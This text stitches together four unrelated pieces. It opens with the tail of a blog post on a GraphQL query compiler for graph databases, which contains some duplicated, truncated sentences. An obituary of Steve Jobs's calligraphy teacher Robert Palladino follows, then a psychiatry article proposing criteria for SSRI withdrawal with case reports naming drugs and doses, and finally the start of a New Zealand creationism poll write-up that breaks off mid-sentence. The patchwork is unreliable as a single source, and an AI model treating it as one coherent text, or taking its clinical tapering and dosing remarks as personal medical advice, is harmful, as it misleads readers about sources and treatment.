Has_Seat edge — the Has_Seat edge is required.  If we so choose, we can instead make the Has_Seat edge optional, asking: “For each noble house, return their name and seat of power, if one exists.”  Since the edge is now marked @optional , the compiler notes in the computed output metadata that the seat_name column is output from an optional block and therefore may not always exist. Indeed, since House Cassel did not have the Has_Seat edge, the seat_name column is not present in its output row.  Self-referential queries  In addition to the $ syntax discussed above, there is another way to pass arguments to @filter directives. Consider the following question: “Which regions have a name that contains the name of the house that rules in that region?” This query is tricky because the filter applied to the name of the Region needs the value of the NobleHouse connected to that region — the query refers to itself. The @tag directive and tagged arguments come in handy here:  Here, we use the @tag directive to tell the compiler to remember the name property of NobleHouse , and refer to it in the future as house_name . Then, in the @filter directive later on, we specify %house_name as the argument to the has_substring operation. The % prefix of this parameter, unlike the $ prefix we used in a previous example, tells the compiler that the parameter comes from a tagged value in this query rather than being externally provided.  This self-referential querying functionality is not available in regular GraphQL, and is just one example where our holistic approach to querying a database enabled us to expose new functionality. In an upcoming part 2 of this blog post, we’ll demonstrate more such functionality:  Using type coercions (implemented with GraphQL inline fragments) to filter out vertices based on their GraphQL type and answer questions like: “Which NobleHouses (specifically NobleHouses, and not Characters) owe allegiance to the House of Stark?”  (implemented with GraphQL inline fragments) to filter out vertices based on their GraphQL type and answer questions like: “Which NobleHouses (specifically NobleHouses, and not Characters) owe allegiance to the House of Stark?” Using the built-in __typename GraphQL meta field to fetch the exact runtime type of vertices and answer questions like: “For any given CharacterOrHouse that owes allegiance to the lords of Riverrun, how do we know whether it’s a Character or a NobleHouse?”  the built-in to fetch the exact runtime type of vertices and answer questions like: “For any given CharacterOrHouse that owes allegiance to the lords of Riverrun, how do we know whether it’s a Character or a NobleHouse?” Using our custom @recurse directive to repeatedly traverse a given edge, answering questions like: “What are all the Regions that are part of Westeros?”  Summary  The goal of this project was simple: empower anyone at Kensho — engineer, analyst, or designer alike — to write complex graph queries that perform as well as hand-written queries from our most experienced graph database engineers. The project faced many difficult and unique challenges, and even required us to contribute a pull request with an improved, topological scheduler for OrientDB. Even so, the project has been a resounding success!  For many months now, compiled GraphQL queries have been the default way to query our graph.  Our engineers’ workflows benefit greatly from the rich GraphQL ecosystem, especially the straightforward and powerful editor integrations with our (many) favorite editors.  People of various backgrounds and experience levels generally find GraphQL queries easy to learn, intuitive, and easy to read. Even our most experienced engineers prefer writing GraphQL queries over writing queries in the database’s native query language.  Compiled GraphQL queries are effectively always as fast as the best hand-optimized queries written directly in the underlying database’s language.  The GraphQL compiler has proven extremely robust and reliable — so much so that “I don’t need tests, my code is just GraphQL” has become a running joke among Kensho engineers.  Overall, writing database queries in GraphQL has reduced time spent debugging correctness and performance problems, and significantly improved our iteration velocity. What used to require the direct attention of one of our handful of graph database engineers has now become easy, even routine, for everyone on our team. We hope that as this open-source project grows, we will be able to extend these benefits to everyone using graph databases.  Interested in working on problems like this?  We’re hiring! Check out our careers page for details.  We also welcome pull requests for all of our open-source projects!
-Robert Palladino, circa 1978. (Courtesy of Reed College)  Robert Palladino’s name appears nowhere in Steve Jobs’s lengthy authorized biography, but he had an enduring influence on Jobs and the business empire he erected.  Jobs sat in on Palladino’s calligraphy class at Portland’s Reed College, which eventually inspired the elegance for which Apple computers are renowned, the tech icon recalled in his famous 2005 commencement address at Stanford University.  “It was the first computer with beautiful typography,” Jobs said. “If I had never dropped in on that single course in college, the Mac would have never had multiple typefaces or proportionally spaced fonts.”  Palladino’s legacy will forever be tied to what he taught Jobs during his brief, aborted stint in college, a craft the professor honed over nearly two decades of monastic life.  Robert Palladino created this form board — featuring the italicized alphabet — in 1972, the same year Steve Jobs enrolled in Reed College. (Courtesy of Reed College)  Palladino, who died in late February at 83, joined the Trappist order of monks in New Mexico in 1950, according to a 2003 profile in Reed Magazine.  Just 17 at the time, his handwriting attracted the attention of the monastery scribe, who worked with him on his art.  Five years later, Palladino moved to Lafayette, Ore., where local artists brought news of a skilled amateur to Lloyd Reynolds, an icon in the field and the creator of Reed’s calligraphy program.  “We corresponded a bit, and one day he came out and spent the entire day helping me to improve my writing,” Palladino recalled in 2008 for a Reed College oral history project.  He left monastic life and began studying under Reynolds in 1968. A year later, Reynolds retired, leaving the program in Palladino’s hands. That same year, 1969, Palladino married his wife, Catherine. In 1970, they had a son.  Then, in 1972, Jobs came to campus.  The future Apple co-founder enrolled in Reed College that year, but dropped out after a single semester. He remained on campus, however, to attend classes that interested him, as he explained in that 2005 commencement address at Stanford.  Palladino’s calligraphy course was among them, he said:  Throughout the campus every poster, every label on every drawer, was beautifully hand calligraphed. Because I had dropped out and didn’t have to take the normal classes, I decided to take a calligraphy class to learn how to do this. I learned about serif and sans serif typefaces, about varying the amount of space between different letter combinations, about what makes great typography great. It was beautiful, historical, artistically subtle in a way that science can’t capture, and I found it fascinating. None of this had even a hope of any practical application in my life. But 10 years later, when we were designing the first Macintosh computer, it all came back to me. And we designed it all into the Mac. It was the first computer with beautiful typography. If I had never dropped in on that single course in college, the Mac would have never had multiple typefaces or proportionally spaced fonts.  Just as Jobs never forgot that course, Palladino never forgot his student.  A 1982 syllabus cover page for Robert Palladino’s calligraphy class. (Courtesy of Reed College)  “My first impression was that all the other students really liked him,” Palladino told the Hollywood Reporter’s Tim Appelo, a Reed graduate himself, for a 2011 story. “That surprised me, because there were all these geniuses floating around, and Steve was a dropout. But they detected greatness even then.”  In that interview, Palladino described Jobs as being “as nice a guy as you could meet,” despite the reputation he would later develop as the mercurial and incisive head of Apple.  Their relationship outlasted the class, too, Palladino recalled in the 2008 oral history interview.  “He came back afterwards and consulted me about Greek letters for a type font,” Palladino said. “I don’t know if he ever used my Greek letters, or if he just used them as a starting point, but we had a good time. He was educating me about what a computer is, as I hadn’t the foggiest idea what he was talking about.”  Jobs co-founded Apple in 1976; Palladino taught until 1984.  On retiring, Palladino moved with his wife onto a 20-acre farm, where they raised sheep, according to a 2013 Catholic Sentinel profile.  She died in 1987.  He became a priest in 1995.  Despite his decades working for the church and teaching scores of students, Palladino knew his legacy would be as the man whose art inspired an iconic brand — ironic though that may be.  “He found it amusing that he would be remembered primarily as the calligraphy teacher of Steve Jobs, especially since Robert did not own and never used a computer,” Calligraphy Initiative Coordinator Gregory MacNaughton said in a Reed College statement announcing Palladino’s death.  Jobs was just one of hundreds of students Palladino taught, at Reed, and also at Portland State University, Marylhurst University and the Portland Art Museum, according to the 2003 profile.  He hand-lettered all of the medical licenses licenses for the state of Oregon for a time and lectured far and wide.  He also taught other famous students, including Sumner Stone, famous for his work at Adobe and creating the ITC Stone font.  Palladino worked as a professional calligrapher from 1969 until his death on Feb. 26, according to the Archdiocese of Portland.  “Ethically, Steve was as nice a guy as you could meet,” Palladino told the Hollywood Reporter in 2011, after Jobs himself died. “A real nice fellow.”  The publication noted, however, that “Palladino’s attempts to get back in touch with Jobs after fame struck were rebuffed by Apple, whose office responded with a silence stonier than any Trappist’s.”  Related stories:  Steve Jobs dies; Apple co-founder was 56  Walter Isaacson’s ‘Steve Jobs’ biography shows Apple co-founder’s genius, flaws  Steve Jobs’s Apple legacy
-Selective serotonin reuptake inhibitors (SSRIs) are widely used in clinical practice, and have advanced the treatment of depression and other mental disorders. However, more studies are needed on the effects of decreasing and discontinuing these medications after their long-term use [1]. Withdrawal symptoms may occur with all SSRIs and serotonin-noradrenaline reuptake inhibitors (SNRIs) [1], similarly to other CNS drugs, including benzodiazepines [2,3,4] and antipsychotics [5,6]. Withdrawal from SSRIs and other CNS drugs produces psychiatric symptoms that can be confounded with true relapse or recurrence of the original illness [1,2,7]. When discontinuing or decreasing SSRIs, withdrawal symptoms must be identified to avoid prolonging treatment or giving unnecessarily high doses [6,8].  Different types of syndromes have been described with the withdrawal from SSRIs and other CNS drug classes, including benzodiazepines, antipsychotics, antidepressants, opiates, barbiturates, and alcohol: (1) new withdrawal symptoms (classic withdrawal symptoms from CNS drugs) [1,4,5,6,9,10,11,12], (2) rebound [2,6,9,13,14,15,16], and (3) persistent postwithdrawal disorders [7,17,18] (table 1). These types of withdrawal need to be differentiated from relapse and recurrence of the original illness. Relapse and recurrence are the gradual return of the original symptoms at the same intensity as before treatment, entailing a return of the same episode and a new episode of illness, respectively [6,9]. When treatment with a CNS drug is discontinued, patients can experience classic new withdrawal symptoms, rebound and/or persistent postwithdrawal disorders, or relapse/recurrence of the original illness [6,9,14]. New and rebound symptoms can occur for up to 6 weeks after drug withdrawal, depending on the drug elimination half-life [2,3], while persistent postwithdrawal or tardive disorders associated with long-lasting receptor changes may persist for more than 6 weeks after drug discontinuation. Initial withdrawal symptoms from CNS drugs have been reported to be more frequent and severe when high-potency drugs and drugs with a short elimination half-life have been used [9,10]. CNS drugs with a shorter elimination half-life and rapid onset of action also carry a higher risk of dependency and high-dose use [9,10]. Withdrawal symptoms can be relatively short-lasting, lasting for a few hours to a few weeks with complete recovery, while others may persist and last for several months [1,15,16].  Table 1  Fava et al. [1] have proposed using the terminology ‘withdrawal syndrome' to replace the term ‘discontinuation syndrome', which has been most often used to describe SSRI withdrawal. They have recommended the use of withdrawal terminology for SSRIs, rather than discontinuation, because the term discontinuation syndrome minimizes the consequences of SSRI withdrawal, separating it from other CNS drug withdrawals [1,19]. SSRI withdrawal symptoms occur when the drug's pharmacological effects diminish after drug decrease or discontinuation, which indicates an underlying pharmacological mechanism comparable to that of other CNS drug withdrawal symptoms. The terminology discontinuation refers to the medical prescribing act or a patient's self-discontinuation of medication. Furthermore, the term discontinuation syndrome is misleading since withdrawal may occur without discontinuation, for example, in between two doses of rapid-onset and short-acting drugs (e.g. clock watching syndrome) and with a decrease in medication.  Recently, Fava et al. [1] have conducted the first systematic review of SSRI withdrawal. The authors analyzed 23 studies (15 randomized controlled studies, 4 open trials, 4 retrospective investigations) and 38 case reports of SSRI withdrawal, and found both early and late onset, and short and long duration of withdrawal symptoms. This important report provides substantial evidence for SSRI withdrawal prompting the need for a new classification of withdrawal phenomena associated with SSRIs. Based on results from Fava et al. [1] and additional reports, we will illustrate three different types of withdrawal occurring when discontinuing SSRI and SNRI antidepressants. We will derive a classification for SSRI withdrawal based on withdrawal symptoms common to different CNS drug classes and specific symptoms common to SSRIs and SNRIs. Existing checklists, such as the Discontinuation-Emergent Signs and Symptoms (DESS) [20], and criteria for SSRI withdrawal symptoms [12,21] do not differentiate between different types of withdrawal. Thus, we propose diagnostic criteria for the identification of the three different types of withdrawal seen with SSRIs, including new withdrawal symptoms, rebound, and postwithdrawal persistent disorders. We will also present 3 cases, which illustrate postwithdrawal persistent disorders. Moreover, we will focus on SSRI withdrawal, noting that SNRIs produce similar types of withdrawal [1,22]. Our proposed classification aims to improve the detection and management of SSRI withdrawal, differentiating it from relapse and recurrence of the original illness. To reduce or withdraw from SSRIs with the goal of finding a minimal therapeutic dose, we must more effectively distinguish between the different types of SSRI withdrawal.  New Withdrawal Symptoms  New withdrawal symptoms for CNS drugs are classic withdrawal symptoms that are new and not part of the patient's original illness, and occur with a decrease or discontinuation of the drug [3]. They are common to all CNS drugs, including opioids, barbiturates, alcohol, antidepressants, antipsychotics, and benzodiazepines [5,10,11]. Withdrawal has been classically divided into minor and major new symptoms [4]. Different classes of CNS drugs may share common withdrawal symptoms, but may also have their own specific withdrawal symptoms. Some initial new withdrawal symptoms common to all CNS drug classes include nausea, headaches, tremor, sleep disturbances, decreased concentration, anxiety, irritability, agitation, aggression, depression, or dysphoria. Other new withdrawal symptoms that may be more specific to a certain class of CNS drugs include lacrimation, rhinorrhea, and sneezing for opiates, paroxysmal sweats for alcohol, and increased appetite for nicotine [10,23,24]. These symptoms are typically transient, reversible and usually last <6 weeks, depending on the drug elimination half-life [2,9,10,11]. However, major complications of withdrawal may occur, such as seizures, suicide and psychoses [10], and, in cases of barbiturate or alcohol abuse, even death [25]. The term ‘severe complications' has replaced the term ‘major withdrawal symptoms' [10,25]. The appearance or onset of withdrawal symptoms depends on the duration of action; for example, short-acting drugs have an early peak of onset [10]. High potency and short and intermediate half-life compounds tend to carry greater risks for withdrawal symptoms, in addition to drug dependence [6,9,10].  New withdrawal symptoms reported with SSRIs include a wide range of symptoms, both physical and psychological [1], and are found throughout different systems in the body (table 2). New withdrawal symptoms described in the literature include flu-like symptoms, headaches, nausea, diarrhea, dizziness, decreased concentration, sleep disturbances, dysphoria, irritability, and restlessness [1,12,22]. A recurrent disabling withdrawal symptom described in the literature and online by patients is a sensory symptom of electric shock sensations and electric-like waves [1,12,22,26]. In table 2, we present withdrawal symptoms from the recent systematic review by Fava et al. [1] and indicate new symptoms during SSRI withdrawal that seem to be specifically related to serotonergic pharmacology [27,28]. These specific serotonin-related symptoms include diarrhea, flu-like symptoms, dizziness, myoclonus, electric shock sensations, and premature ejaculation.  Table 2  New SSRI withdrawal symptoms have been found to occur after drug discontinuation with variable frequency and duration, depending on the SSRI which is discontinued [1,12,22]. They usually reach a peak of onset between 36 and 96 h after SSRI reduction or discontinuation, and are reversible, lasting from a few hours up to 6 weeks [1,12,22]. Data from controlled trials [15,20,29], case reports [16], and online patient reports [26] show that paroxetine is most likely to be associated with new withdrawal symptoms, and fluoxetine the least. Severity may also vary mainly according to the SSRI used [1,20].  The diagnostic criteria that we propose for new SSRI withdrawal symptoms require a duration of at least 6 months of continuous SSRI use prior to reduction or discontinuation (table 3, criterion A). We deem this treatment duration requirement necessary, so that the pharmacologic effect of the drug is well established, allowing for differentiation between withdrawal phenomena and relapse or recurrence of the original illness. If a patient has taken an SSRI for <6 months, the clinician may use a checklist, such as the DESS [20], to assess new withdrawal symptoms. Criterion B requires ≥1 new symptom, common to CNS drugs, including nausea, headaches, tremor, sleep disturbances, decreased concentration, anxiety, irritability, agitation, aggression, depression, or dysphoria. Criterion C requires ≥2 specific new symptoms related to the serotonergic system, in particular 5HT 2A and 5HT 1A receptors [28], which may be involved in SSRI withdrawal. In addition, noradrenergic CNS hyperactivity [28] likely contributes to SSRI withdrawal symptomatology. Symptoms in criteria B and C should also be characterized by a peak of onset within 36-96 h (depending on the drug duration of action) and by a symptom duration of up to 6 weeks (depending on drug elimination half-life). Symptoms cause clinically significant distress or impairment in important areas of functioning, and cannot be due to a general medical condition, another mental disorder, or substance use.  Table 3  Rebound Symptoms  Rebound symptoms are a rapid return of the patient's original symptoms at a greater intensity than before treatment [6,9]. CNS drug rebound was first reported as REM rebound, consisting of an increase in REM sleep following abrupt withdrawal of barbiturates and nonbenzodiazepine hypnotics [30,31]. These reports were followed by the demonstration of rebound insomnia in individuals with insomnia upon withdrawal of short and intermediate half-life benzodiazepines [13] and early morning insomnia with rapidly eliminated benzodiazepines [32]. Rebound anxiety [2,14] and rebound panic [15] were then reported with abrupt benzodiazepine discontinuation [9]. It has been clearly demonstrated with benzodiazepines that patients often respond rapidly to the reinstitution of the drug, which may lead to a false sense of efficacy and need for the drug. The reinforcing properties of short-acting and short-elimination half-life CNS drugs appear to be the same for all CNS drug classes [6,9]. Rebound with short-acting drugs may be best illustrated by withdrawal from cocaine and heroin, which both have a rapid onset and brief duration of action [10,23]. The prevalence of rebound is greater among patients taking benzodiazepines with short to intermediate half-lives (e.g. triazolam, lorazepam, and alprazolam) than among those taking agents with long half-lives [9,14]. This is also true for short-acting antipsychotics, such as clozapine and quetiapine, which have a fast dissociation from dopamine D 2 receptor, and have been shown to have a greater risk of rebound [6,33].  Due to the lack of classification for SSRI withdrawal, rebound symptoms in SSRI withdrawal have not been described as such in the literature. However, examination of various studies [20,34,35] shows us that this type of withdrawal occurs with SSRIs as well as with other CNS drugs. Rosenbaum et al. [20] demonstrated rebound major depression, although the authors did not describe it as such, in a double-blind withdrawal trial (5-8 days) conducted in 242 patients with major depression who had their maintenance paroxetine, sertraline or fluoxetine treatment interrupted [20]. In this study, patients taking paroxetine and sertraline developed worsened depressive symptoms on the Hamilton Depression Rating Scale and Montgomery-Asberg Depression Rating Scale after treatment interruption, and returned to baseline depression measurements after reinstitution of the treatment. New withdrawal symptoms, measured using the DESS, also appeared after paroxetine and sertraline discontinuation. Rebound depression has also been shown in another double-blind placebo-controlled paroxetine, sertraline and fluoxetine withdrawal study (5 days) [34], in which paroxetine-treated patients (n = 36) had significantly higher scores on the Hamilton Depression Rating Scale, the State Anxiety Inventory, and an adverse events checklist after drug discontinuation. Patients taking sertraline (n = 34) and those taking fluoxetine (n = 37) did not have rebound depression. In this study and the study by Rosenbaum et al. [20], the drug interruption was short (5-8 days), and it is unlikely that rebound with fluoxetine would be seen. However, as fluoxetine has a long half-life, it is also less likely to cause rebound.  The proposed diagnostic criteria for SSRI rebound withdrawal (table 4) requires at least 6 months of continuous SSRI use prior to cessation or reduction, for the same reasons discussed with regard to new withdrawal symptoms. Cessation or reduction is followed by a return of the original symptoms of the illness, such as anxiety, depression, or obsessions and compulsions. The symptoms must be characterized by the presence of at least 4 of the following criteria: greater intensity of the symptoms than before treatment, rapid appearance of the symptoms, reversible, transient, psychological belief in the need for the drug, or rapid improvement of the symptoms after reintroduction of the drug. The peak of onset and the duration of symptoms are the same as for the criteria of the new withdrawal symptoms.  Table 4  Postwithdrawal Disorders  Persistent postwithdrawal disorders or tardive receptor supersensitivity disorders have been described with the use of antipsychotic medication [7,17,18]. Tardive dyskinesia and supersensitivity psychosis are well-known postwithdrawal disorders (also called supersensitivity syndromes) [7,17,18]. Persistent postwithdrawal disorders have been described with different classes of CNS drugs (e.g. protracted insomnia for alcohol and benzodiazepine withdrawal [10,36] and major depression/dysphoria for cocaine and amphetamine withdrawal [10,23]), and even more so with specific drugs (e.g. quetiapine and paroxetine) within a drug class [6,15,16,33]. We now have increasing evidence for postwithdrawal disorders with SSRI long-term use [6,15,16,26,37]. This type of withdrawal consists of: (1) the return of the original illness at a greater intensity and/or with additional features of the illness, and/or (2) symptoms related to emerging new disorders. They persist at least 6 weeks after drug withdrawal and are sufficiently severe and disabling to have patients return to their previous drug treatment. When the previous drug treatment is not restarted, postwithdrawal disorders may last for several months to years. They may resemble rebound symptoms being more severe than the original symptoms, but these disorders persist at least 6 weeks in contrast to rebound symptoms and may include new illness features. With SSRI withdrawal, persistent postwithdrawal disorders may appear as new psychiatric disorders, in particular disorders that can be treated successfully with SSRIs and SNRIs [6,15,16,26,37]. Significant postwithdrawal illnesses found with SSRI use include anxiety disorders, tardive insomnia, major depression, and bipolar illness.  Persistent postwithdrawal panic disorder [15,38] has been shown to occur following withdrawal of paroxetine, and paroxetine has also been associated with other postwithdrawal disorders [6,15,16]. Fava et al. [16] conducted a study of gradual SSRI discontinuation in panic disorder and found that 9 of 20 patients (45%) experienced new withdrawal symptoms, and that 3 of the 9 (33%) patients treated with paroxetine had postwithdrawal disorders at 1 year of follow-up, including bipolar spectrum disorder (n = 2) and major depressive disorder (n = 1). We previously reported two types of persistent postwithdrawal psychiatric disorders (pathological gambling and generalized anxiety) with paroxetine that were treated successfully with specific cognitive behavioral therapy (CBT) and medications [37]. In another study, we analyzed online reports from individuals who described postwithdrawal disorders after SSRI discontinuation [26]. The most frequent persistent postwithdrawal disorder symptoms reported online were disturbed mood, depression, emotional liability, mood swings, irritability, anxiety, insomnia, impaired concentration, and impaired memory. There were online cases of persistent postwithdrawal disorders found after the discontinuation of paroxetine, citalopram, escitalopram, and fluvoxamine, but not sertraline or fluoxetine [26].  We will now present 3 cases which further illustrate persistent postwithdrawal disorders.  Case 1: Persistent Postwithdrawal Generalized Anxiety Disorder  A woman psychiatrist had a first major depressive episode (MDE) at the age of 48. She self-diagnosed her MDE (which was later confirmed by another psychiatrist) and self-prescribed citalopram 20 mg/day for 2 years; after this time, she started tapering it to 10 mg/day. After 1 month of 10 mg/day, she discontinued citalopram. A few days later, she started to have severe symptoms of nervousness, irritability, insomnia, and hot flushes, meeting the symptom criteria for generalized anxiety disorder (GAD), except for the duration of symptoms. She had never had GAD previously. She interpreted these symptoms as a relapse of her depression, restarted citalopram 20 mg/day, and decided to ask for a consultation.  She was seen by a psychiatrist after 12 weeks of reinitiating citalopram 20 mg/day, and at that time continued to have GAD symptoms. Clonazepam 0.25 mg twice a day was started to treat her withdrawal anxiety, while continuing citalopram 20 mg/day. Citalopram was reduced to 10 mg/day after 2 weeks, while clonazepam remained unchanged. After 2 weeks on citalopram 10 mg/day, citalopram was discontinued and clonazepam was increased to 0.5 mg twice a day. The acute anxiety symptoms disappeared after 1 month of citalopram discontinuation, but some GAD symptoms persisted, such as irritability and hot flushes. For the last 3 years, she had been on clonazepam 0.25 mg twice a day, in addition to undergoing CBT, targeting anxiety and interpersonal sensitivity. The patient believes that her GAD, which she had previously never experienced, was induced by citalopram withdrawal. She is currently in remission with residual anxiety but without functional impairment. This case illustrates a persistent postwithdrawal disorder with GAD, which responded to CBT and clonazepam, but without complete recovery, still requiring clonazepam despite the completion of the CBT.  Case 2: Persistent Postwithdrawal Cyclothymic Disorder  A 37-year-old man was treated for panic disorder with agoraphobia with paroxetine 20 mg/day for 7 years. Panic disorder and agoraphobia persisted despite treatment, and any attempt to reduce paroxetine was unsuccessful. He could only leave the house to go to work, and limited his activities to what he could not refuse for work, declining any other outings for leisure, including out-of-town opportunities. When the patient sought a new consultation, he was first treated for agoraphobia with CBT. A specialized psychologist guided him with homework exposure, consisting of 10 sessions every other week. His agoraphobia improved, and a paroxetine taper was then initiated. It was first tapered to 10 mg nightly, which immediately resulted in nervousness, headache, tension, and diarrhea. After 1 week of this paroxetine dose reduction, the patient was switched to fluoxetine 20 mg/day, which resulted in new withdrawal symptoms. After 2 months, these new symptoms improved, and fluoxetine was tapered to 10 mg/day for 1 week and then discontinued. Subsequently, he developed significant cyclothymic disorder, with greatly increased reactivity to environmental stimuli and anxious distress, which lasted for 3 years. It is important to note that he had no previous history of mood disorder. He was prescribed clonazepam without a decrease in his symptoms. Three years after the discontinuation of paroxetine, the patient started to improve, and the postwithdrawal cyclothymic disorder remitted, but without complete recovery.  Case 3: Persistent Postwithdrawal MDE with Melancholic Features  A 50-year-old woman with a prior history of social phobia was prescribed citalopram 20 mg/day for a period of 5 years to treat an MDE. She had no previous history of mood disorder or family history of mood disorder. She then presented to her primary care physician with increased symptoms of depression, and citalopram was increased from 20 to 40 mg/day. She reported feeling worse with 40 mg/day, and decreased the citalopram dose back to 20 mg/day. At that time, the patient was referred for psychiatric consultation, and it was decided to discontinue citalopram. First, clonazepam was initiated at 0.5 mg twice a day to aid in the tapering of citalopram. Citalopram was tapered to 10 mg/day for 2 weeks, and then discontinued, while clonazepam was increased to 0.5 mg three times a day. After the discontinuation of citalopram, she reported new symptoms, such as sweating, agitation, and nausea, for 2 weeks. However, she also developed MDE with melancholic features accompanied by deep anhedonia, depressed mood with diurnal variation, loss of energy, guilt, and suicidal thoughts, which she had never had before. The patient was observed for an additional week, and while other withdrawal symptoms disappeared, the melancholic depression persisted. Nortriptyline 25 mg/night was added to clonazepam to treat her depression, and was gradually increased to 100 mg/day. Her depression improved after 6 weeks. After 3 months of treatment with nortriptyline, CBT was introduced to treat her social phobia. She interrupted psychotherapy after 3 sessions, but continued to take nortriptyline. After 2 years, she is still on nortriptyline 100 mg/day and clonazepam 0.5 mg three times a day. Any attempt to taper both drugs (one at the time) has been unsuccessful.  The proposed diagnostic criteria for persistent postwithdrawal disorders are presented in table 5. Criterion A requires a reduction in or discontinuation of SSRIs/SNRIs after at least 6 months of continuous use. Criterion B requires either (1) the return of the original illness at a greater intensity than before treatment and/or the return of the original illness with additional symptoms (e.g. melancholic features for depression) or (2) the appearance of symptoms related to emerging new mental disorders, including ≥1 of the following: major depression, premenstrual dysphoria, generalized anxiety, panic attacks, insomnia, obsessive-compulsive and related illness, pathological gambling, posttraumatic stress, bulimia, bipolar spectrum illness, or symptoms of other DSM mental disorders. Of note, if treated, the symptoms may not necessarily meet the DSM criteria for the duration of illness. Symptoms must persist longer than 6 weeks after drug discontinuation, and are characterized by two of the following criteria: greater severity of illness than before treatment, reversible with partial or total remission, or partial or total response to the reintroduction of the discontinued drug. In addition, the symptoms are characterized by a peak of onset ranging from 24 h to 6 weeks, depending on the duration of action and pharmacology of the discontinued drug, and may last for several months or more. Finally, the symptoms cause clinically significant distress or impairment, and cannot be due to a general medical condition, another mental disorder or substance use.  Table 5  Clinical Strategies for the Management of SSRI Withdrawal  First, the management of SSRI withdrawal should begin by identifying the different types of SSRI withdrawal. The proposed diagnostic criteria will assist in distinguishing between new withdrawal symptoms, rebound, and persistent postwithdrawal disorders, and relapse or recurrence of the illness. Checklists, such as the DESS [20], are also helpful to ensure that all new withdrawal symptoms are inquired about, particularly if the medication is withdrawn before 6 months of continuous intake. It is important to note that our proposed criteria require this minimal length of drug treatment.  Second, we recommend gradual tapering over a long period of time to discontinue an SSRI, for example, over several months if clinically appropriate. According to most studies [1,15,16,20,29], even with gradual tapering, withdrawal symptoms still occur. However, gradual tapering, rather than abrupt discontinuation, can help to control the severity of withdrawal symptoms. Furthermore, by reducing the dose gradually, a plateau period develops that can help to distinguish the development of new withdrawal symptoms, rebound, or recurrent symptoms. Of note, it may be that gradual withdrawal reduces new withdrawal and rebound symptoms, but has no effect on persistent postwithdrawal disorders.  Third, the same principles recommended for the management of alcohol, opiate and benzodiazepine withdrawal should apply to SSRIs, including the use of long half-life drugs [9,10], such as fluoxetine. Long-acting drugs with a lower potential for withdrawal, abuse, or overdose, and with a low incidence of side effects should be used. Importantly, if the patient is not already taking fluoxetine, it should be started during the tapering of the SSRIs to aid in withdrawing from it. Given the evidence for the high risk of disabling withdrawal with paroxetine, thought to be related to noradrenergic and cholinergic supersensitivity [15,35], its shorter half-life (19 h compared with 45 h for fluoxetine), and earlier steady-state concentration (7-14 days for paroxetine compared with 28-35 days with fluoxetine) [35], we recommend that paroxetine should not be given before exploring other treatment alternatives.  Fourth, optimal maintenance drug treatment consists in reducing the dose to find a minimal therapeutic dose. Clinicians should understand why it is difficult to decrease a given drug treatment for a patient, for example, due to the presence of a persistent postwithdrawal disorder. Giving low doses of SSRIs and decreasing the lengths of SSRI maintenance treatment by using adjunct treatments, such as CBT, should be considered whenever possible to try to minimize long-term receptor changes. After 2 years of maintenance treatment, many types of persistent postwithdrawal disorders may be observed. We recommend re-evaluation of overall treatment and management after 2 years of continuous SSRI use, considering the possible use of other therapies, whether as adjunct or alternative treatment.  Fifth, we previously proposed treating SSRI withdrawal with anticonvulsants [6], particularly the anticonvulsants gabapentin and lamotrigine. Anticonvulsants may be used with an antipsychotic or SSRI in order to decrease or discontinue these medications. One proposed mechanism explaining the beneficial effects of using an anticonvulsant as an adjunct to an antipsychotic in schizophrenia is its antikindling effect [39,40]. Lamotrigine may also be beneficial as an adjunctive therapy with SSRIs to treat depression as it has a depression-stabilizing effect.  Conclusion  SSRIs have provided major therapy advancement in the treatment of depression and other mental disorders. Withdrawal symptoms may occur with SSRIs, similarly to other CNS drugs, and they must be identified and differentiated from relapse and recurrence of the original illness. The proposed diagnostic criteria will permit the identification of three types of withdrawal associated with SSRIs. Differentiating withdrawal from relapse and recurrence of the original illness will allow clinicians to more effectively reduce and withdraw SSRIs, and find a minimal therapeutic dose. It is most important to recognize persistent postwithdrawal disorders to prevent unnecessarily high doses and prolonged treatment.  Disclosure Statement  G.C. has received conference honoraria within the last 3 years from Otsuka Pharmaceutical.  Related Articles:  References  Author Contacts  Prof. Dr. Guy Chouinard 416-1 McGill Street Montreal, QC H2Y 4A3 (Canada) E-Mail vchouinard@partners.org  Article / Publication Details  Received: October 12, 2014  Accepted: January 06, 2015  Published online: February 21, 2015  Issue release date: March 2015 Number of Print Pages: 9  Number of Figures: 0  Number of Tables: 5 ISSN: 0033-3190 (Print)  eISSN: 1423-0348 (Online) For additional information: https://www.karger.com/PPS  Copyright / Drug Dosage / Disclaimer  Copyright: All rights reserved. No part of this publication may be translated into other languages, reproduced or utilized in any form or by any means, electronic or mechanical, including photocopying, recording, microcopying, or by any information storage and retrieval system, without permission in writing from the publisher.  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-Easter seems like a good time to put out the results of a poll exploring an issue with clear religious connotations - namely, to what extent do New Zealanders believe in creationism versus evolution. I realise that believing in evolution doesn't necessarily mean you're not religious, and that believing in a God-created universe doesn't necessarily mean that you subscribe to any of the estabilished religions, but religion and creationism are clearly linked. The poll is from June 2012, and compares New Zealand results with those from an equivalent study in the United States (Gallup, May 2012).  We asked New Zealanders which of the following statements came closest to their views on the origin and development of human beings:  A) Human beings have developed over millions of years from less advanced forms of life, but God guided this process  B) Human beings have developed over millions of years from less advanced forms of life, but God had no part in this process  C) God created human beings pretty much in their present form at one time within the last ten thousand years or so  To keep the write-up clear, I'll refer to Statement A as 'intelligent design', Statement B​ as 'pure evolution' and Statement C as 'creationism'. I'm not terribly familiar with the finer details of the 'intelligent design' debate, so I'm not sure if Statement A is exactly what advocates of that theory believe in, but it seems like a reasonable way of summing it up.  EDIT: As I thought, I'm not an expert in this topic :). Blog reader Chris Banks wrote to me to let me know that the term I should have been using for Statement A is 'theistic evolution'. He says that "Intelligent Design is a school of thought which, in regards to evolution, holds that the appearance of complexity in nature cannot be explained through natural causes, instead requiring the intervention of a designer." I really appreciate that contribution, and agree that that definition of Intelligent Design is clearly different from the literal interpretation of Statement A. On the other hand, a number of the comments on the blog suggest that people were interpreting Statement A pretty much in line with the definition of Intelligent Design Chris gave me - it seems to me that some people chose Statement A because they believed the general principle of Intelligent Design even if, as Chris said, it's "not generally considered to be compatible with evolutionary theory. Katrin Schwartz makes the same point in the comments - thank you Katrin too. I checked Chris and Katrin's feedback on theistic evolution, and it does look like they're right. Check, for example, these articles: http://www.asa3.org/ASA/education/origins/te2-cr.htm and http://ncse.com/creationism/general/creationevolution-continuum. I think it's important to keep the original text intact however as it shows the context of the comments - I'll therefore just add 'theistic evolution' after most of the earlier references to 'intelligent design'.  The numbers show that, amongst New Zealanders:  26% believe in 'intelligent design' (edit: 'theistic evolution')  45% believe in 'pure evolution'  23% believe in 'creationism'  6% are unsure.  As you 